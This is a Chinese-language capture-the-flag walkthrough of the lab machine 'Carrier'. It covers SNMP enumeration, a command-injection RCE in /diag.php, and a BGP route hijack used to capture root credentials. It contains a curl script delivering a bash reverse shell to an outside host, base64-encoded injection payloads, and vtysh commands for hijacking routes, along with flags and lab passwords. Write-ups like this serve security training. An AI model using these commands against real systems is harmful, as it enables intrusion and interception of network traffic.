[Meachines] [Medium] Carrier SNMP+CW-1000-X RCE+BGP劫持权限提升
字数 867 2025-08-29 08:29:42
Carrier SNMP+CW-1000-X RCE+BGP劫持权限提升技术分析
1. 信息收集阶段
1.1 初始扫描
目标IP: 10.10.10.105
使用以下命令进行初始扫描:
ip='10.10.10.105'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
扫描结果:
- 22/tcp: OpenSSH 7.6p1 Ubuntu 4
- 80/tcp: Apache httpd 2.4.18 (Ubuntu)
1.2 SNMP信息收集
使用SNMP获取设备信息:
snmpwalk -c public -v 1 10.10.10.105
获取到设备标识符:NET_45JDX23
1.3 Web目录扫描
使用feroxbuster进行目录扫描:
feroxbuster -u 'http://10.10.10.105/'
发现重要信息:
- 默认管理员凭据:
admin:NET_45JDX23 - 诊断页面:
/diag.php
2. 远程代码执行(RCE)漏洞利用
2.1 发现漏洞
在/diag.php页面存在命令注入漏洞,参数check可被利用:
http://10.10.10.105/diag.php?check=cXVhZ2dhO3BpbmcgLWMgMSAxMC4xMC4xNi4zMw==
(base64解码后为:quagga;ping -c 1 10.10.16.33)
2.2 构造反弹Shell
使用以下脚本获取反弹shell:
#!/bin/bash
URL="http://10.10.10.105/diag.php"
COOKIE="PHPSESSID=vsn8nsns2hmn9jnmvu3u576s10"
CMD="/bin/bash -i >& /dev/tcp/10.10.16.33/443 0>&1"
B64_CMD=$(echo -n "root;$CMD" | base64)
curl -s -X POST "$URL" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: $COOKIE" --data-urlencode "check=$B64_CMD"
2.3 获取用户权限
成功获取shell后找到用户flag:
13e98f59a7de80e9aa34e8473f592e37
3. 权限提升:BGP劫持
3.1 分析BGP配置
查看Quagga BGP配置:
cat /etc/quagga/bgpd.conf
关键配置:
router bgp 100
bgp router-id 10.255.255.1
network 10.101.8.0/21
network 10.101.16.0/21
redistribute connected
neighbor 10.78.10.2 remote-as 200
neighbor 10.78.11.2 remote-as 300
neighbor 10.78.10.2 route-map to-as200 out
neighbor 10.78.11.2 route-map to-as300 out
3.2 网络拓扑分析
使用nmap扫描相邻网络:
./nmap -Pn -e eth1 10.120.15.0/24 10.120.16.0/24 10.120.17.0/24 --min-rate 1000 --open
./nmap -Pn -e eth2 10.120.15.0/24 10.120.16.0/24 10.120.17.0/24 --min-rate 1000 --open
发现关键主机:10.120.15.10 (开放FTP, SSH, domain服务)
3.3 BGP劫持实施步骤
- 进入vtysh配置模式:
vtysh
- 配置BGP劫持:
configure terminal
ip prefix-list maptnh permit 10.120.15.0/25
route-map to-as200 permit 10
match ip address prefix-list maptnh
set community no-export
route-map to-as200 permit 20
route-map to-as300 deny 10
match ip address prefix-list maptnh
route-map to-as300 permit 20
router bgp 100
network 10.120.15.0 mask 255.255.255.128
end
clear ip bgp *
- 验证配置:
show ip bgp neighbors 10.78.10.2 advertised-routes
3.4 获取root权限
劫持成功后,捕获到root凭据:
username:root
password:BGPtelc0rout1ng
使用SSH登录获取root权限:
ssh root@10.10.10.105
获取root flag:
ba0ec18cfa0f83cf7eeab8c90a30cd2e
4. 技术总结
- 信息收集:通过SNMP获取设备标识符,发现默认凭据
- Web漏洞利用:利用diag.php的命令注入漏洞获取初始访问权限
- BGP劫持:分析网络拓扑,通过修改BGP路由表劫持流量
- 权限提升:利用BGP劫持捕获敏感信息,获取root权限
此攻击链展示了从信息收集到权限提升的完整过程,特别强调了BGP配置错误导致的严重安全问题。